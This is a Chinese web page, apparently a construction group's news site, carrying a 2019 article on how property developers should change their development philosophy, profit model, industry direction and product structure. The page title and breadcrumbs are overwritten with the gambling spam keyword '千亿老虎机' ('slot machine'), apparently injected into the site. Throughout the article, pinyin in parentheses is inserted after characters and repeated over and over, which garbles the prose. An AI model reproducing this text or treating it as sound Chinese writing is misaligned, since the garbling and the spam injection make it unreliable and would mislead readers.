千亿老虎机

中建网群 | | 公司办公平(ping)台 | | |
 
千亿老虎机
方程新闻
通知公告
集团新闻
专题专栏
国资动态
行业新闻
图片新闻
产业布局
千亿老虎机>> 千亿老虎机>>行业新闻
新时代房企发展面临四维转型
发布日期:2019-04-08 字号:[ ]

  随着房地产(chan)市(shi)场整体(ti)环境(jing)的(de)(de)变化(hua),传(chuan)统的(de)(de)以获取土地为中心的(de)(de)赢利模式(shi)越(yue)来越(yue)难以支撑房地产(chan)企(qi)业的(de)(de)持续(xu)发(fa)展(zhan)。这就要求房地产(chan)开发(fa)企(qi)业根(gen)据企(qi)业所控制(zhi)或拥有(you)的(de)(de)资源与(yu)核心竞争能力等对(dui)传(chuan)统的(de)(de)赢利模式(shi)进(jin)行创新与(yu)转型,促进(jin)企(qi)业的(de)(de)持续(xu)发(fa)展(zhan)。

  十九大(da)报(bao)告提出,坚(jian)持“房(fang)子是(shi)用来住的(de)(de)(de)(de)(de)(de),不是(shi)用来炒的(de)(de)(de)(de)(de)(de)”的(de)(de)(de)(de)(de)(de)定位,意味(wei)着房(fang)地(di)产(chan)(chan)功能将(jiang)发(fa)(fa)生转变,由其过度衍(yan)生的(de)(de)(de)(de)(de)(de)投资投机属性(xing)回(hui)归到基本的(de)(de)(de)(de)(de)(de)居住属性(xing)。当(dang)前,中国正(zheng)迎来第(di)三(san)次消费结构升(sheng)(sheng)级(ji),消费者对于品质生活的(de)(de)(de)(de)(de)(de)强烈需求,将(jiang)是(shi)新(xin)(xin)时代(dai)房(fang)地(di)产(chan)(chan)高质量(liang)发(fa)(fa)展的(de)(de)(de)(de)(de)(de)最大(da)驱动力。同时,消费结构升(sheng)(sheng)级(ji)也将(jiang)使(shi)房(fang)地(di)产(chan)(chan)市(shi)场绿色产(chan)(chan)品的(de)(de)(de)(de)(de)(de)增值(zhi)效应更加明显。面对宏观(guan)经(jing)济的(de)(de)(de)(de)(de)(de)巨大(da)变革(ge),房(fang)地(di)产(chan)(chan)行业发(fa)(fa)展即将(jiang)进入新(xin)(xin)时代(dai),房(fang)地(di)产(chan)(chan)开发(fa)(fa)企业的(de)(de)(de)(de)(de)(de)发(fa)(fa)展战略也将(jiang)面临开发(fa)(fa)理(li)念(nian)、盈利模式(shi)、产(chan)(chan)业方(fang)向、产(chan)(chan)品结构等多(duo)维转型(xing)。

  转变开发理念

  树立城(cheng)(cheng)(cheng)市(shi)(shi)运(yun)营商的(de)(de)理念。所谓城(cheng)(cheng)(cheng)市(shi)(shi)运(yun)营商,是指围绕城(cheng)(cheng)(cheng)市(shi)(shi)的(de)(de)总(zong)体发展(zhan)(zhan)目(mu)标和发展(zhan)(zhan)规(gui)划,充分运(yun)用市(shi)(shi)场化的(de)(de)机(ji)制和手(shou)段(duan),通过发挥(hui)企业(ye)(ye)产(chan)业(ye)(ye)优势和资源(yuan)优势,结合城(cheng)(cheng)(cheng)市(shi)(shi)发展(zhan)(zhan)的(de)(de)特殊机(ji)遇,在满足城(cheng)(cheng)(cheng)市(shi)(shi)居民需求(qiu)的(de)(de)同(tong)时(shi),使自(zi)己的(de)(de)开发项目(mu)能够(gou)成为(wei)(wei)城(cheng)(cheng)(cheng)市(shi)(shi)发展(zhan)(zhan)建设(she)的(de)(de)有(you)机(ji)组成部分的(de)(de)经(jing)营开发商。当前(qian)房地(di)产(chan)行业(ye)(ye)已经(jing)进入了(le)以资产(chan)管理为(wei)(wei)主的(de)(de)阶段(duan)。随着(zhe)城(cheng)(cheng)(cheng)市(shi)(shi)发展(zhan)(zhan)脚步的(de)(de)加(jia)(jia)快,政(zheng)府在土地(di)出让(rang)时(shi)也附加(jia)(jia)了(le)如(ru)产(chan)业(ye)(ye)化等运(yun)营上(shang)的(de)(de)要求(qiu)。同(tong)时(shi),一些具有(you)新(xin)(xin)概念、新(xin)(xin)定(ding)位、新(xin)(xin)功能的(de)(de)新(xin)(xin)城(cheng)(cheng)(cheng)建设(she)也在加(jia)(jia)大布(bu)局建设(she)。如(ru)雄安新(xin)(xin)区的(de)(de)建设(she)、粤港澳大湾(wan)区世界城(cheng)(cheng)(cheng)市(shi)(shi)群建设(she)等,都为(wei)(wei)房地(di)产(chan)企业(ye)(ye)提(ti)供了(le)参与城(cheng)(cheng)(cheng)市(shi)(shi)空间再造的(de)(de)机(ji)遇。在坚持“房住(zhu)不炒”的(de)(de)前(qian)提(ti)下,房企把(ba)发展(zhan)(zhan)模式(shi)向城(cheng)(cheng)(cheng)市(shi)(shi)运(yun)营商转变,最(zui)终能够(gou)把(ba)经(jing)济效益和社会效益有(you)机(ji)统一起来,从而获取(qu)更多的(de)(de)发展(zhan)(zhan)空间。

  向(xiang)土(tu)(tu)地(di)(di)(di)(di)综合经(jing)营者(zhe)转(zhuan)变。在房(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)(chan)(chan)(chan)业发(fa)展(zhan)(zhan)初期,房(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)(chan)(chan)(chan)企(qi)业比较(jiao)重视土(tu)(tu)地(di)(di)(di)(di)获取(qu)与开发(fa)、房(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)(chan)(chan)(chan)产(chan)(chan)(chan)(chan)(chan)(chan)品(pin)(pin)的(de)(de)生(sheng)产(chan)(chan)(chan)(chan)(chan)(chan)和(he)(he)销售,而(er)忽视了对(dui)产(chan)(chan)(chan)(chan)(chan)(chan)品(pin)(pin)规划和(he)(he)物(wu)业管(guan)理等(deng)(deng)等(deng)(deng)。经(jing)过(guo)二(er)十多年的(de)(de)发(fa)展(zhan)(zhan),房(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)(chan)(chan)(chan)商品(pin)(pin)化(hua)程(cheng)度已(yi)大(da)(da)大(da)(da)提(ti)高,企(qi)业间(jian)竞争也越(yue)来越(yue)激烈,消费者(zhe)对(dui)房(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)(chan)(chan)(chan)商品(pin)(pin)的(de)(de)结(jie)构(gou)、建筑风(feng)格(ge)与环境(jing)以及物(wu)业管(guan)理等(deng)(deng)方面提(ti)出了更(geng)高的(de)(de)要求。尤其(qi)是(shi)中央提(ti)出加快住(zhu)房(fang)(fang)保障体系(xi)建设,大(da)(da)力发(fa)展(zhan)(zhan)住(zhu)房(fang)(fang)租赁市场的(de)(de)发(fa)展(zhan)(zhan)方向(xiang),房(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)(chan)(chan)(chan)开发(fa)企(qi)业从单(dan)纯的(de)(de)土(tu)(tu)地(di)(di)(di)(di)开发(fa)者(zhe)向(xiang)土(tu)(tu)地(di)(di)(di)(di)经(jing)营者(zhe)转(zhuan)变,从而(er)改变开发(fa)的(de)(de)短期行为模式,最大(da)(da)限度地(di)(di)(di)(di)体现(xian)土(tu)(tu)地(di)(di)(di)(di)的(de)(de)价值(zhi),并给公司(si)带来平稳的(de)(de)现(xian)金(jin)流,保证公司(si)的(de)(de)持续(xu)性发(fa)展(zhan)(zhan)。

  参与城(cheng)(cheng)市(shi)更新(xin)与空(kong)(kong)间再利用(yong)(yong)。城(cheng)(cheng)市(shi)空(kong)(kong)间再利用(yong)(yong)是(shi)指对(dui)城(cheng)(cheng)市(shi)中心区的(de)(de)旧楼(lou)进行改(gai)(gai)造再包(bao)装的(de)(de)工程(cheng)。这(zhei)种房(fang)(fang)地(di)(di)产(chan)商业模(mo)式在(zai)欧(ou)美等发达(da)国家(jia)早已成(cheng)熟,但在(zai)国内由于政(zheng)府和发展(zhan)商醉心于造新(xin)城(cheng)(cheng),因(yin)此在(zai)这(zhei)方(fang)面(mian)相(xiang)对(dui)比较滞(zhi)后。随着(zhe)房(fang)(fang)地(di)(di)产(chan)逐步进入存(cun)量房(fang)(fang)时代,新(xin)增(zeng)土(tu)地(di)(di)供应量逐步紧缩,盘活(huo)存(cun)量土(tu)地(di)(di)是(shi)未来发展(zhan)的(de)(de)重(zhong)点方(fang)向之(zhi)一。房(fang)(fang)地(di)(di)产(chan)开发企(qi)业从(cong)单纯的(de)(de)索(suo)取土(tu)地(di)(di)向城(cheng)(cheng)市(shi)空(kong)(kong)间的(de)(de)再利用(yong)(yong)转变,从(cong)而在(zai)竞(jing)争激烈(lie)的(de)(de)土(tu)地(di)(di)争夺之(zhi)外打(da)开一个新(xin)的(de)(de)发展(zhan)空(kong)(kong)间。随着(zhe)国家(jia)的(de)(de)土(tu)地(di)(di)政(zheng)策从(cong)紧,这(zhei)将成(cheng)为(wei)房(fang)(fang)地(di)(di)产(chan)开发企(qi)业新(xin)的(de)(de)利润增(zeng)长点。近年来,上海(hai)通过城(cheng)(cheng)市(shi)更新(xin)盘活(huo)大(da)量工业仓储用(yong)(yong)地(di)(di)。不少老(lao)厂房(fang)(fang)、老(lao)仓库在(zai)更新(xin)改(gai)(gai)造后,都焕发了(le)新(xin)的(de)(de)活(huo)力和生机,土(tu)地(di)(di)价(jia)值也得到了(le)体现。

  转变盈利模(mo)式

  随(sui)着(zhe)房地(di)(di)产(chan)(chan)市场整体环境的(de)(de)变化(hua),传统的(de)(de)以(yi)获取土(tu)地(di)(di)为中(zhong)心的(de)(de)赢(ying)利模(mo)(mo)式(shi)越来越难(nan)以(yi)支撑房地(di)(di)产(chan)(chan)企业(ye)(ye)的(de)(de)持续发(fa)(fa)展。这就要求(qiu)房地(di)(di)产(chan)(chan)开发(fa)(fa)企业(ye)(ye)根据(ju)企业(ye)(ye)所控制(zhi)或拥有的(de)(de)资源(yuan)与(yu)核心竞(jing)争能力等对传统的(de)(de)赢(ying)利模(mo)(mo)式(shi)进行创新与(yu)转(zhuan)型(xing),促(cu)进企业(ye)(ye)的(de)(de)持续发(fa)(fa)展。

  向(xiang)低(di)(di)成(cheng)(cheng)(cheng)(cheng)本(ben)规模(mo)(mo)化发(fa)(fa)(fa)展(zhan)(zhan)(zhan)战略转(zhuan)(zhuan)变(bian)。房(fang)(fang)(fang)地(di)(di)产(chan)企(qi)业(ye)在(zai)发(fa)(fa)(fa)展(zhan)(zhan)(zhan)过(guo)程中(zhong)单独依靠(kao)圈地(di)(di)就能(neng)获(huo)取(qu)暴利的(de)(de)时代已经过(guo)去,因此低(di)(di)成(cheng)(cheng)(cheng)(cheng)本(ben)的(de)(de)策(ce)略将是保持企(qi)业(ye)具有(you)(you)核(he)心竞争力的(de)(de)一种重要策(ce)略。针对开发(fa)(fa)(fa)周期长(zhang)、资金流量(liang)大、流程多的(de)(de)房(fang)(fang)(fang)地(di)(di)产(chan)企(qi)业(ye)来(lai)说,需要拥有(you)(you)严(yan)格的(de)(de)成(cheng)(cheng)(cheng)(cheng)本(ben)管(guan)(guan)理制(zhi)度(du),制(zhi)定科学合理的(de)(de)管(guan)(guan)理方法和管(guan)(guan)理程序,特别注重规模(mo)(mo)经济(ji)发(fa)(fa)(fa)展(zhan)(zhan)(zhan)对降低(di)(di)企(qi)业(ye)成(cheng)(cheng)(cheng)(cheng)本(ben)的(de)(de)重要影响(xiang)。在(zai)房(fang)(fang)(fang)地(di)(di)产(chan)资产(chan)化和消费结构升级(ji)的(de)(de)双重压力下,房(fang)(fang)(fang)地(di)(di)产(chan)行业(ye)市场集中(zhong)度(du)也(ye)不断提(ti)升,越来(lai)越多的(de)(de)中(zhong)小(xiao)房(fang)(fang)(fang)企(qi)将被迫面临被收购的(de)(de)境遇,房(fang)(fang)(fang)地(di)(di)产(chan)行业(ye)呈现规模(mo)(mo)化聚集与并购频发(fa)(fa)(fa)的(de)(de)局面。在(zai)成(cheng)(cheng)(cheng)(cheng)本(ben)控制(zhi)方面,大型房(fang)(fang)(fang)企(qi)可以凭借(jie)规模(mo)(mo)化优势(shi),来(lai)控制(zhi)开发(fa)(fa)(fa)及(ji)运营成(cheng)(cheng)(cheng)(cheng)本(ben),规模(mo)(mo)化达到(dao)一定程度(du)后也(ye)有(you)(you)利于降低(di)(di)成(cheng)(cheng)(cheng)(cheng)本(ben)。因此,房(fang)(fang)(fang)地(di)(di)产(chan)企(qi)业(ye)在(zai)发(fa)(fa)(fa)展(zhan)(zhan)(zhan)过(guo)程中(zhong)需要准确掌握行业(ye)发(fa)(fa)(fa)展(zhan)(zhan)(zhan)趋(qu)势(shi),在(zai)充(chong)分发(fa)(fa)(fa)挥(hui)规模(mo)(mo)化优势(shi)的(de)(de)同时,积(ji)极向(xiang)低(di)(di)负债、低(di)(di)杠杆(gan)、低(di)(di)成(cheng)(cheng)(cheng)(cheng)本(ben)、高周转(zhuan)(zhuan)的(de)(de)“三低(di)(di)一高”发(fa)(fa)(fa)展(zhan)(zhan)(zhan)模(mo)(mo)式进行转(zhuan)(zhuan)变(bian)。

  向持(chi)(chi)有(you)型(xing)物(wu)(wu)业(ye)运营转(zhuan)变。随着(zhe)第三产(chan)(chan)业(ye)的(de)加速发展,市场(chang)对商(shang)业(ye)、写(xie)字楼等(deng)物(wu)(wu)业(ye)的(de)需求(qiu)将(jiang)迎来(lai)(lai)快速释(shi)放过程(cheng),从而为持(chi)(chi)有(you)型(xing)物(wu)(wu)业(ye)提供了(le)广(guang)阔前(qian)景和良好机遇。未(wei)来(lai)(lai)房(fang)(fang)(fang)地(di)产(chan)(chan)市场(chang)将(jiang)逐步进入存量房(fang)(fang)(fang)时代,房(fang)(fang)(fang)企(qi)也由(you)买地(di)卖(mai)房(fang)(fang)(fang)以(yi)赚取资产(chan)(chan)升(sheng)值收益(yi)的(de)重资产(chan)(chan)模(mo)式走向赚取增值服务收益(yi)为主的(de)轻资产(chan)(chan)模(mo)式。随着(zhe)房(fang)(fang)(fang)地(di)产(chan)(chan)开发企(qi)业(ye)的(de)资金实力(li)大大增强(qiang),不(bu)少房(fang)(fang)(fang)地(di)产(chan)(chan)开发商(shang)将(jiang)可(ke)(ke)持(chi)(chi)有(you)物(wu)(wu)业(ye)纳入未(wei)来(lai)(lai)发展的(de)战略规划(hua)。房(fang)(fang)(fang)地(di)产(chan)(chan)开发企(qi)业(ye)投资商(shang)业(ye)地(di)产(chan)(chan)并进行(xing)持(chi)(chi)有(you),为企(qi)业(ye)提供长期稳定的(de)现(xian)金流(liu),可(ke)(ke)以(yi)有(you)效提高房(fang)(fang)(fang)企(qi)抵抗房(fang)(fang)(fang)地(di)产(chan)(chan)行(xing)业(ye)周期性(xing)风险的(de)能力(li)。

  向“轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)”运营(ying)转(zhuan)型(xing)。从(cong)重(zhong)(zhong)资(zi)(zi)产(chan)(chan)(chan)模(mo)式转(zhuan)向轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)模(mo)式,从(cong)以获(huo)取资(zi)(zi)产(chan)(chan)(chan)升值收(shou)益(yi)为主(zhu),转(zhuan)向以获(huo)取增值服(fu)务(wu)收(shou)益(yi)为主(zhu),也(ye)是(shi)房(fang)(fang)地(di)产(chan)(chan)(chan)开发战(zhan)略转(zhuan)型(xing)方向之(zhi)(zhi)一(yi)(yi)。房(fang)(fang)地(di)产(chan)(chan)(chan)市(shi)场宏观调控政策的(de)(de)影响下(xia),房(fang)(fang)地(di)产(chan)(chan)(chan)价格上(shang)升速度明(ming)显(xian)放(fang)缓(huan),行业(ye)(ye)(ye)(ye)(ye)利润率、杠杆率逐步下(xia)滑。在(zai)(zai)此市(shi)场背景(jing)下(xia),一(yi)(yi)些大型(xing)房(fang)(fang)地(di)产(chan)(chan)(chan)企(qi)(qi)业(ye)(ye)(ye)(ye)(ye)也(ye)在(zai)(zai)纷纷提前布局“轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)”。实现(xian)轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)运营(ying),需要企(qi)(qi)业(ye)(ye)(ye)(ye)(ye)对整(zheng)条供应链有较(jiao)强(qiang)的(de)(de)把控能力(li)。当前房(fang)(fang)地(di)产(chan)(chan)(chan)市(shi)场的(de)(de)“轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)化”尚没(mei)有一(yi)(yi)个固定的(de)(de)模(mo)式,各大企(qi)(qi)业(ye)(ye)(ye)(ye)(ye)也(ye)在(zai)(zai)根据(ju)自身优势(shi)积极探索“轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)”业(ye)(ye)(ye)(ye)(ye)务(wu)。从(cong)未来发展趋势(shi)来看,这一(yi)(yi)轮(lun)房(fang)(fang)地(di)产(chan)(chan)(chan)周(zhou)期的(de)(de)高(gao)利润、高(gao)杠杆的(de)(de)黄金时期已经过去(qu)。从(cong)欧美发达国家房(fang)(fang)地(di)产(chan)(chan)(chan)市(shi)场经验来看,“轻(qing)(qing)(qing)(qing)资(zi)(zi)产(chan)(chan)(chan)”运营(ying)是(shi)房(fang)(fang)地(di)产(chan)(chan)(chan)企(qi)(qi)业(ye)(ye)(ye)(ye)(ye)发展的(de)(de)重(zhong)(zhong)要趋势(shi)之(zhi)(zhi)一(yi)(yi),资(zi)(zi)产(chan)(chan)(chan)运营(ying)能力(li)、服(fu)务(wu)能力(li)将是(shi)下(xia)一(yi)(yi)轮(lun)房(fang)(fang)地(di)产(chan)(chan)(chan)周(zhou)期中企(qi)(qi)业(ye)(ye)(ye)(ye)(ye)重(zhong)(zhong)要的(de)(de)核(he)心(xin)竞争力(li)。

  转变产业方(fang)向(xiang)

  泛(fan)产(chan)(chan)(chan)业(ye)(ye)(ye)地(di)(di)(di)(di)产(chan)(chan)(chan)开发(fa)。在房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)市场供给侧(ce)改革的(de)(de)(de)大(da)背景下,传统房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)企(qi)(qi)业(ye)(ye)(ye)将进一步加(jia)快(kuai)转型,以房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)开发(fa)为基础,向物(wu)业(ye)(ye)(ye)、商(shang)旅、体育(yu)(yu)、金(jin)(jin)融(rong)等(deng)(deng)(deng)相关联行业(ye)(ye)(ye)延伸价值链,成为主(zhu)要(yao)房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)开发(fa)企(qi)(qi)业(ye)(ye)(ye)转型发(fa)展的(de)(de)(de)重要(yao)趋势。在过(guo)去几(ji)年,传统房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)企(qi)(qi)业(ye)(ye)(ye)的(de)(de)(de)转型探索主(zhu)要(yao)分(fen)为以下四(si)类:第一,提(ti)供社区(qu)深服务(wu)(wu),从前期开发(fa)向售(shou)后的(de)(de)(de)服务(wu)(wu)延伸。例(li)如(ru)万科(ke)物(wu)业(ye)(ye)(ye)服务(wu)(wu)全面市场化,新(xin)城地(di)(di)(di)(di)产(chan)(chan)(chan)利用互(hu)联网平台提(ti)供社区(qu)服务(wu)(wu)等(deng)(deng)(deng);第二,全面布局金(jin)(jin)融(rong)业(ye)(ye)(ye)务(wu)(wu)。如(ru)万科(ke)涉足(zu)资产(chan)(chan)(chan)证券化,公募REITs基金(jin)(jin);恒大(da)通(tong)过(guo)收购中新(xin)大(da)人寿,盛京银行股份涉足(zu)金(jin)(jin)融(rong)业(ye)(ye)(ye)等(deng)(deng)(deng)。第三,布局教育(yu)(yu)、医疗、养老、体育(yu)(yu)等(deng)(deng)(deng)其他综合行业(ye)(ye)(ye)。如(ru)远洋地(di)(di)(di)(di)产(chan)(chan)(chan)涉足(zu)高端私人诊(zhen)所等(deng)(deng)(deng)。第四(si),“房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)+”的(de)(de)(de)泛(fan)产(chan)(chan)(chan)业(ye)(ye)(ye)地(di)(di)(di)(di)产(chan)(chan)(chan)开发(fa)。如(ru)鲁能集(ji)团(tuan)2015年提(ti)出的(de)(de)(de)泛(fan)产(chan)(chan)(chan)业(ye)(ye)(ye)地(di)(di)(di)(di)产(chan)(chan)(chan)七大(da)产(chan)(chan)(chan)品线。未(wei)来房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)行业(ye)(ye)(ye)不再(zai)是(shi)单一的(de)(de)(de)行业(ye)(ye)(ye),而(er)是(shi)一种泛(fan)产(chan)(chan)(chan)业(ye)(ye)(ye)发(fa)展模式,房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)企(qi)(qi)业(ye)(ye)(ye)将会融(rong)合零(ling)售(shou)、办公、物(wu)流、仓储、养老、公共服务(wu)(wu)等(deng)(deng)(deng)等(deng)(deng)(deng)不同(tong)细(xi)分(fen)领域,同(tong)时向金(jin)(jin)融(rong)、医疗、体育(yu)(yu)等(deng)(deng)(deng)房(fang)(fang)(fang)地(di)(di)(di)(di)产(chan)(chan)(chan)之外的(de)(de)(de)行业(ye)(ye)(ye)拓展。

  关注特(te)色(se)(se)(se)小(xiao)城镇(zhen)(zhen)(zhen)发(fa)(fa)展(zhan)。2018年(nian)中国城镇(zhen)(zhen)(zhen)化(hua)率已经达到(dao)59.58%,已经进入了城镇(zhen)(zhen)(zhen)化(hua)减速(su)期(qi)。根据(ju)发(fa)(fa)达国家经验,这(zhei)一(yi)发(fa)(fa)展(zhan)阶(jie)段将逐步形成(cheng)都市(shi)圈和(he)(he)城市(shi)群,环核(he)心城市(shi)的(de)卫星城及卫星镇(zhen)(zhen)(zhen)将得到(dao)核(he)心城市(shi)溢出(chu)的(de)产业和(he)(he)人口资源,从而(er)实(shi)现快速(su)发(fa)(fa)展(zhan)。2016年(nian),住建部(bu)(bu)、发(fa)(fa)改委(wei)和(he)(he)财政部(bu)(bu)三大部(bu)(bu)委(wei)联合发(fa)(fa)布通(tong)知,到(dao)2020年(nian),将培育(yu)1000个(ge)左右各具特(te)色(se)(se)(se)、富有活力(li)的(de)特(te)色(se)(se)(se)小(xiao)镇(zhen)(zhen)(zhen),引领带动(dong)全(quan)国小(xiao)城镇(zhen)(zhen)(zhen)建设。在当(dang)前(qian)宏观政策(ce)环境(jing)日(ri)益趋(qu)紧、房(fang)地(di)产市(shi)场竞争日(ri)趋(qu)激(ji)烈的(de)背景下,大城市(shi)+特(te)色(se)(se)(se)小(xiao)镇(zhen)(zhen)(zhen)的(de)发(fa)(fa)展(zhan)模(mo)式(shi)(shi)有望成(cheng)为推(tui)动(dong)区域经济发(fa)(fa)展(zhan)的(de)一(yi)种新模(mo)式(shi)(shi),房(fang)地(di)产企(qi)业应从发(fa)(fa)展(zhan)战略的(de)高度介入特(te)色(se)(se)(se)小(xiao)镇(zhen)(zhen)(zhen)这(zhei)一(yi)城镇(zhen)(zhen)(zhen)化(hua)模(mo)式(shi)(shi),从传统的(de)房(fang)企(qi)变身产业地(di)产运(yun)营商,实(shi)现自(zi)身转型升(sheng)级。

  注重绿(lv)色(se)地产发(fa)(fa)展(zhan)。生态文明建(jian)设理念深入人心,绿(lv)色(se)发(fa)(fa)展(zhan)成(cheng)为国(guo)策。尤其是当前正(zheng)面临第(di)三次(ci)消(xiao)费结构升(sheng)级,使得房(fang)地产市(shi)场绿(lv)色(se)产品的增(zeng)值效应凸显。在(zai)推进新(xin)型(xing)城(cheng)镇(zhen)化(hua)和(he)向(xiang)可(ke)持续发(fa)(fa)展(zhan)的经济转型(xing)过程中,建(jian)筑行(xing)业将成(cheng)为影响城(cheng)市(shi)经济转型(xing)的决(jue)定(ding)性因素。从2013年(nian)国(guo)办发(fa)(fa)1号文《绿(lv)色(se)建(jian)筑行(xing)动方案》,到2014年(nian)3月《国(guo)家新(xin)型(xing)城(cheng)镇(zhen)化(hua)规划(2014-2020年(nian))》提出到2020年(nian)城(cheng)镇(zhen)绿(lv)色(se)建(jian)筑占新(xin)建(jian)建(jian)筑比重要达到50%,再到新(xin)版《绿(lv)色(se)建(jian)筑评价标准》正(zheng)式(shi)实施(shi),从政府层(ceng)面推行(xing)绿(lv)色(se)地产已经成(cheng)为房(fang)地产行(xing)业发(fa)(fa)展(zhan)的大方向(xiang)。

  转变产(chan)品结构

  现(xian)在的房(fang)(fang)地(di)产(chan)(chan)产(chan)(chan)品(pin)(pin)(pin),无论是结构设计,还是功能分布,与几年前都不可(ke)同日而(er)语。过去十几年来,房(fang)(fang)地(di)产(chan)(chan)产(chan)(chan)品(pin)(pin)(pin)形(xing)态发(fa)生了巨大的变化(hua),而(er)且这种(zhong)加速升(sheng)级换(huan)代的趋(qu)势还会持续(xu)下(xia)去。这种(zhong)升(sheng)级是房(fang)(fang)地(di)产(chan)(chan)行(xing)业本身发(fa)展的必然趋(qu)势,也是中国进(jin)入新(xin)时代以后(hou),我国社会主要(yao)(yao)矛盾的改变对(dui)房(fang)(fang)地(di)产(chan)(chan)企业的要(yao)(yao)求。未来我国商(shang)品(pin)(pin)(pin)房(fang)(fang)市(shi)场(chang)、商(shang)业地(di)产(chan)(chan)市(shi)场(chang),市(shi)场(chang)竞争会越(yue)(yue)来越(yue)(yue)激烈(lie),产(chan)(chan)品(pin)(pin)(pin)升(sheng)级换(huan)代的速度(du)会进(jin)一步(bu)加快。

  功(gong)能多(duo)(duo)样化。所(suo)(suo)谓产品(pin)(pin)功(gong)能多(duo)(duo)样化是指一个房(fang)地产项(xiang)(xiang)目要(yao)兼具多(duo)(duo)种使用功(gong)能。例如(ru)(ru),传统住(zhu)(zhu)(zhu)宅项(xiang)(xiang)目的主要(yao)(甚至是唯一)的功(gong)能就是居住(zhu)(zhu)(zhu)。事实上,除了(le)居住(zhu)(zhu)(zhu)需(xu)求(qiu)和最基本的购物需(xu)求(qiu)外,居者(zhe)还有教育(yu)、健身、社(she)(she)(she)交(jiao)等(deng)其它需(xu)求(qiu)。越来越多(duo)(duo)的房(fang)地产企业开始在(zai)做好产品(pin)(pin)硬件的同时,注重了(le)社(she)(she)(she)区(qu)软环境(jing)的打造(zao),在(zai)社(she)(she)(she)区(qu)、写字楼宇中(zhong)(zhong)设(she)计了(le)空间(jian)(jian)共(gong)享、交(jiao)流互动等(deng)和谐元素,改善社(she)(she)(she)区(qu)日渐(jian)疏远的邻里关(guan)系(xi),激(ji)发(fa)(fa)社(she)(she)(she)区(qu)活力(li),提高产品(pin)(pin)品(pin)(pin)位和吸(xi)引力(li)。如(ru)(ru),社(she)(she)(she)区(qu)中(zhong)(zhong)晨练(lian)场所(suo)(suo)、健身会(hui)馆(guan)、高端读书(shu)会(hui)所(suo)(suo)等(deng)公共(gong)共(gong)享空间(jian)(jian)。此(ci)外,近期比(bi)较热的社(she)(she)(she)区(qu)O2O也是为了(le)满足住(zhu)(zhu)(zhu)户多(duo)(duo)样化需(xu)求(qiu)。此(ci)外,住(zhu)(zhu)(zhu)宅不仅是栖(qi)息之所(suo)(suo),更是生活平台。鲁能开发(fa)(fa)的鲁能7号产品(pin)(pin),为社(she)(she)(she)区(qu)有机打造(zao)了(le)体育(yu)元素,吸(xi)引了(le)更多(duo)(duo)客户群体的关(guan)注。

  需求(qiu)智(zhi)(zhi)能(neng)化(hua)。在(zai)(zai)(zai)(zai)社会(hui)信(xin)息化(hua)进(jin)程日益发展的(de)今天,人(ren)(ren)们(men)对自己(ji)住(zhu)宅的(de)关注(zhu)已不仅仅局限(xian)于居(ju)室面(mian)积、周边自然(ran)环境、交通(tong)等(deng)方面(mian),而是(shi)把更多的(de)兴趣和注(zhu)意力放(fang)在(zai)(zai)(zai)(zai)与(yu)外界沟通(tong)、信(xin)息服务、安全防范、生(sheng)态智(zhi)(zhi)能(neng)等(deng)方面(mian)。随着地(di)(di)产(chan)(chan)(chan)+科技(ji)(ji)的(de)融合,房(fang)地(di)(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品科技(ji)(ji)化(hua)趋势日渐明(ming)显。人(ren)(ren)们(men)对智(zhi)(zhi)能(neng)、生(sheng)态、节能(neng)、恒温、恒湿、恒氧等(deng)科技(ji)(ji)元素的(de)青睐,将会(hui)加速(su)房(fang)地(di)(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品的(de)转型升级。目前,房(fang)地(di)(di)产(chan)(chan)(chan)行业内明(ming)确提出“绿(lv)色地(di)(di)产(chan)(chan)(chan)战略”的(de)房(fang)企有(you)二十多家(jia)。生(sheng)态、节能(neng)等(deng)科技(ji)(ji)概念还是(shi)当(dang)下(xia)少(shao)数楼盘的(de)亮(liang)点。但(dan)是(shi)在(zai)(zai)(zai)(zai)不久的(de)将来(lai),随着生(sheng)态理(li)念深入(ru)人(ren)(ren)心(xin),这些都可能(neng)成为房(fang)地(di)(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品的(de)标(biao)准配(pei)置(zhi)。按现在(zai)(zai)(zai)(zai)日新月异的(de)科技(ji)(ji)进(jin)步(bu)速(su)度,或许在(zai)(zai)(zai)(zai)未(wei)来(lai)几年内,融合智(zhi)(zhi)能(neng)手(shou)机、智(zhi)(zhi)能(neng)家(jia)居(ju)的(de)物联网概念将会(hui)成为房(fang)地(di)(di)产(chan)(chan)(chan)产(chan)(chan)(chan)品新趋势。

